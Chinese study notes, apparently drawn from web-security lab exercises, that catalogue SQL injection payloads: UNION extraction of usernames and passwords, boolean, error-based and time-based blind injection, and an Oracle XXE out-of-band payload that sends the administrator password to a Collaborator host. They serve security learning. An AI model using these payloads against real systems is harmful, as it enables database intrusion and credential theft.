第三篇:sql注入
SQL 注入 UNION 攻击,确定查询返回的列数:
1 | /?category=gifts'+UNION+SELECT+NULL,NULL-- 有则正确返回包,无则报错 |
查找数据列的字段类型:
1 | /?category=gifts'+UNION+SELECT +'a',NULL,NULL,NULL-- |
从表中检索数据:
1 | ?category=gifts'+UNION+SELECT+username,+password+FROM+users-- |
检索单个列中的多个值:
使用一列的位置查找多个值
1 | ?category=gifts'+UNION+SELECT+username||'~'||password+FROM+users-- |
不同数据库对应的连接符:
1 | Oracle 'foo'||'bar' |
查询数据库类型和版本:
1 | ?category=gifts'+UNION+SELECT+@@version-- |
不同数据库对应的查询版本命令:
1 | Oracle: SELECT banner FROM v$version |
列出数据库的内容:
查询以列出数据库中的表:
information_schema.tables
1 | SELECT * FROM information_schema.tables |
查询以列出各个表中的列:
information_schema.columns
1 | SELECT * FROM information_schema.columns WHERE table_name = 'Users' |
盲目 SQL 注入
使用条件响应进行盲目 SQL 注入:
使用到的sql函数:
LIMIT 1
: 查看第一列是否有数据
length(password)>2
:判断字节长度
SUBSTRING(password,1,1)
:查看password第一列第一个字符
1 | TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a 查看是否有user表 |
基于错误的 SQL 注入:
通过触发条件错误来利用盲目 SQL 注入
DUAL
是Oracle与数据字典一起自动创建的一个最小工作表,它只有一列:DUMMY
,其数据类型为:VARCHAR2(1)
。DUAL中只有一行数据:'X'
。DUAL属于SYS
模式,但所有用户都可以使用DUAL名称访问它。
1 | TrackingId=xyz'||(SELECT '' FROM dual WHERE ROWNUM = 1)||' |
TrackingId=xyz’||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END
FROM dual)||’
先判断 case when (1=1)是否正确,正确执行then 因为1/0,0不能是被除数
则返回错误信息


1 | TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' (收到错误),确认存在名为 的用户。administrator |
因为是报错注入,因此状态码为500是爆破成功的。
基于可见的错误的 SQL 注入:
通过注入错误,返回错误信息,根据报错信息SQL注入
CAST((SELECT 1) AS int
调整查询以包含泛型子查询,并将返回的值转换为数据类型
1 | TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)-- |
修改条件,添加比较运算符 =
1 | TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)-- |
返回成功报文
构造语句正确,开始查询
1 | TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username from users) AS int)-- |
收到初始错误消息:
1 | Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'IZhjuERH9SHnuYkd' AND 1=CAST((SELECT username from users) AS'. Expected char 原因:字符限制,查询被截断 |
删除cookies值解除字符长度限制
1 | TrackingId=' AND 1=CAST((SELECT username from users) AS int)-- |
仍然报错:
1 | ERROR: more than one row returned by a subquery used as an expression 原因:返回结果超过一行 |
添加限制:
1 | TrackingId=' AND 1=CAST((SELECT username from users limit 1) AS int)-- 成功! |
更改想要查询的字段名找到password
1 | TrackingId=' AND 1=CAST((SELECT password from users limit 1) AS int)-- |
基于延时触发的sql盲注入:
因错误信息的被完善,无法发现注入区别,可以使用延时触发sql注入
pg_sleep(4)
休眠时间 成功延时4s,失败无变化
1 | TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(4)+ELSE+pg_sleep(0)+END-- |
如果构造语句没问题,就开始查询信息
1 | TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- |
爆破查看接收到响应
数值判断密码

带外交互的 SQL 盲注入:
修改 Cookie,将其更改为将触发与 Collaborator 服务器交互的有效负载
1 | TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- |
右键单击并选择“Insert Collaborator payload
”插入指定playload位置
确认了触发带外交互的方法后,可以使用带外通道从易受攻击的应用程序中泄露数据。
1 | TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- |